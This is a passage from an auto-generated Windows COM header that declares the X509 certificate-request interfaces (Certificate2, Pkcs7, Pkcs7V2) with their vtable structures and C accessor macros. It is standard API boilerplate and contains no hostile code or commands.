GetCspStatuses(This,KeySpec,ppCspStatuses) ) \n\n\n#define IX509CertificateRequestCertificate2_CheckPublicKeySignature(This,pPublicKey)\t\\\n    ( (This)->lpVtbl -> CheckPublicKeySignature(This,pPublicKey) ) \n\n#define IX509CertificateRequestCertificate2_get_Issuer(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Issuer(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_put_Issuer(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_Issuer(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_get_NotBefore(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NotBefore(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_put_NotBefore(This,Value)\t\\\n    ( (This)->lpVtbl -> put_NotBefore(This,Value) ) \n\n#define IX509CertificateRequestCertificate2_get_NotAfter(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NotAfter(This,pValue) ) \n\n#define IX509CertificateRequestCertificate2_put_NotAfter(This,Value)\t\\\n    ( (This)->lpVtbl -> put_NotAfter(This,Value) ) \n\n#define IX509CertificateRequestCertificate2_get_SerialNumber(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_SerialNumber(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCertificate2_put_SerialNumber(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_SerialNumber(This,Encoding,Value) ) \n\n#define IX509CertificateRequestCertificate2_get_SignerCertificate(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignerCertificate(This,ppValue) ) \n\n#define IX509CertificateRequestCertificate2_put_SignerCertificate(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_SignerCertificate(This,pValue) ) \n\n\n#define IX509CertificateRequestCertificate2_InitializeFromTemplate(This,context,pPolicyServer,pTemplate)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplate(This,context,pPolicyServer,pTemplate) ) \n\n#define IX509CertificateRequestCertificate2_InitializeFromPrivateKeyTemplate(This,Context,pPrivateKey,pPolicyServer,pTemplate)\t\\\n    ( (This)->lpVtbl -> InitializeFromPrivateKeyTemplate(This,Context,pPrivateKey,pPolicyServer,pTemplate) ) \n\n#define IX509CertificateRequestCertificate2_get_PolicyServer(This,ppPolicyServer)\t\\\n    ( (This)->lpVtbl -> get_PolicyServer(This,ppPolicyServer) ) \n\n#define IX509CertificateRequestCertificate2_get_Template(This,ppTemplate)\t\\\n    ( (This)->lpVtbl -> get_Template(This,ppTemplate) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateRequestCertificate2_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestPkcs7_INTERFACE_DEFINED__\n#define __IX509CertificateRequestPkcs7_INTERFACE_DEFINED__\n\n/* interface IX509CertificateRequestPkcs7 */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateRequestPkcs7;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab344-217d-11da-b2a4-000e7bbb2b09\")\n    IX509CertificateRequestPkcs7 : public IX509CertificateRequest\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeFromTemplateName( \n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromCertificate( \n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ VARIANT_BOOL RenewalRequest,\n            /* [in] */ __RPC__in BSTR strCertificate,\n            /* [defaultvalue][in] */ EncodingType Encoding = XCN_CRYPT_STRING_BASE64,\n            /* [defaultvalue][in] */ X509RequestInheritOptions InheritOptions = InheritDefault) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE InitializeFromInnerRequest( \n            /* [in] */ __RPC__in_opt IX509CertificateRequest *pInnerRequest) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ __RPC__in BSTR strEncodedData,\n            /* [defaultvalue][in] */ EncodingType Encoding = XCN_CRYPT_STRING_BASE64) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_RequesterName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_RequesterName( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_SignerCertificate( \n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_SignerCertificate( \n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateRequestPkcs7Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateRequestPkcs7 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateRequestPkcs7 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateRequestPkcs7 * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *Encode )( \n            __RPC__in IX509CertificateRequestPkcs7 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *ResetForEncode )( \n            __RPC__in IX509CertificateRequestPkcs7 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetInnerRequest )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ InnerRequestLevel Level,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [retval][out] */ __RPC__out X509RequestType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentContext )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UIContextMessage )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UIContextMessage )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ClientId )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ClientId )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ RequestClientInfoClientId Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspInformations )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspInformations )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ __RPC__in_opt ICspInformations *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplateName )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ VARIANT_BOOL RenewalRequest,\n            /* [in] */ __RPC__in BSTR strCertificate,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [defaultvalue][in] */ X509RequestInheritOptions InheritOptions);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromInnerRequest )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ __RPC__in_opt IX509CertificateRequest *pInnerRequest);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ __RPC__in BSTR strEncodedData,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_RequesterName )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_RequesterName )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignerCertificate )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_SignerCertificate )( \n            __RPC__in IX509CertificateRequestPkcs7 * This,\n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue);\n        \n        END_INTERFACE\n    } IX509CertificateRequestPkcs7Vtbl;\n\n    interface IX509CertificateRequestPkcs7\n    {\n        CONST_VTBL struct IX509CertificateRequestPkcs7Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateRequestPkcs7_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateRequestPkcs7_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateRequestPkcs7_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateRequestPkcs7_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateRequestPkcs7_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateRequestPkcs7_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateRequestPkcs7_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateRequestPkcs7_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#define IX509CertificateRequestPkcs7_Encode(This)\t\\\n    ( (This)->lpVtbl -> Encode(This) ) \n\n#define IX509CertificateRequestPkcs7_ResetForEncode(This)\t\\\n    ( (This)->lpVtbl -> ResetForEncode(This) ) \n\n#define IX509CertificateRequestPkcs7_GetInnerRequest(This,Level,ppValue)\t\\\n    ( (This)->lpVtbl -> GetInnerRequest(This,Level,ppValue) ) \n\n#define IX509CertificateRequestPkcs7_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7_get_EnrollmentContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentContext(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509CertificateRequestPkcs7_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509CertificateRequestPkcs7_get_UIContextMessage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UIContextMessage(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7_put_UIContextMessage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_UIContextMessage(This,Value) ) \n\n#define IX509CertificateRequestPkcs7_get_SuppressDefaults(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressDefaults(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7_put_SuppressDefaults(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SuppressDefaults(This,Value) ) \n\n#define IX509CertificateRequestPkcs7_get_RenewalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RenewalCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs7_put_RenewalCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_RenewalCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequestPkcs7_get_ClientId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ClientId(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7_put_ClientId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ClientId(This,Value) ) \n\n#define IX509CertificateRequestPkcs7_get_CspInformations(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspInformations(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs7_put_CspInformations(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspInformations(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7_get_HashAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_HashAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs7_put_HashAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_HashAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7_get_AlternateSignatureAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateSignatureAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7_put_AlternateSignatureAlgorithm(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlternateSignatureAlgorithm(This,Value) ) \n\n#define IX509CertificateRequestPkcs7_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509CertificateRequestPkcs7_InitializeFromTemplateName(This,Context,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplateName(This,Context,strTemplateName) ) \n\n#define IX509CertificateRequestPkcs7_InitializeFromCertificate(This,Context,RenewalRequest,strCertificate,Encoding,InheritOptions)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,Context,RenewalRequest,strCertificate,Encoding,InheritOptions) ) \n\n#define IX509CertificateRequestPkcs7_InitializeFromInnerRequest(This,pInnerRequest)\t\\\n    ( (This)->lpVtbl -> InitializeFromInnerRequest(This,pInnerRequest) ) \n\n#define IX509CertificateRequestPkcs7_InitializeDecode(This,strEncodedData,Encoding)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,strEncodedData,Encoding) ) \n\n#define IX509CertificateRequestPkcs7_get_RequesterName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_RequesterName(This,pValue) ) \n\n#define IX509CertificateRequestPkcs7_put_RequesterName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_RequesterName(This,Value) ) \n\n#define IX509CertificateRequestPkcs7_get_SignerCertificate(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignerCertificate(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs7_put_SignerCertificate(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_SignerCertificate(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateRequestPkcs7_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestPkcs7V2_INTERFACE_DEFINED__\n#define __IX509CertificateRequestPkcs7V2_INTERFACE_DEFINED__\n\n/* interface IX509CertificateRequestPkcs7V2 */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateRequestPkcs7V2;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab35c-217d-11da-b2a4-000e7bbb2b09\")\n    IX509CertificateRequestPkcs7V2 : public IX509CertificateRequestPkcs7\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeFromTemplate( \n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_PolicyServer( \n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentPolicyServer **ppPolicyServer) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Template( \n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppTemplate) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE CheckCertificateSignature( \n            /* [in] */ VARIANT_BOOL ValidateCertificateChain) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateRequestPkcs7V2Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *Encode )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *ResetForEncode )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetInnerRequest )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ InnerRequestLevel Level,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__out X509RequestType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentContext )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UIContextMessage )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UIContextMessage )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ClientId )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ClientId )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ RequestClientInfoClientId Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspInformations )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspInformations )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ __RPC__in_opt ICspInformations *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplateName )( \n            __RPC__in IX509CertificateRequestPkcs7V2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ 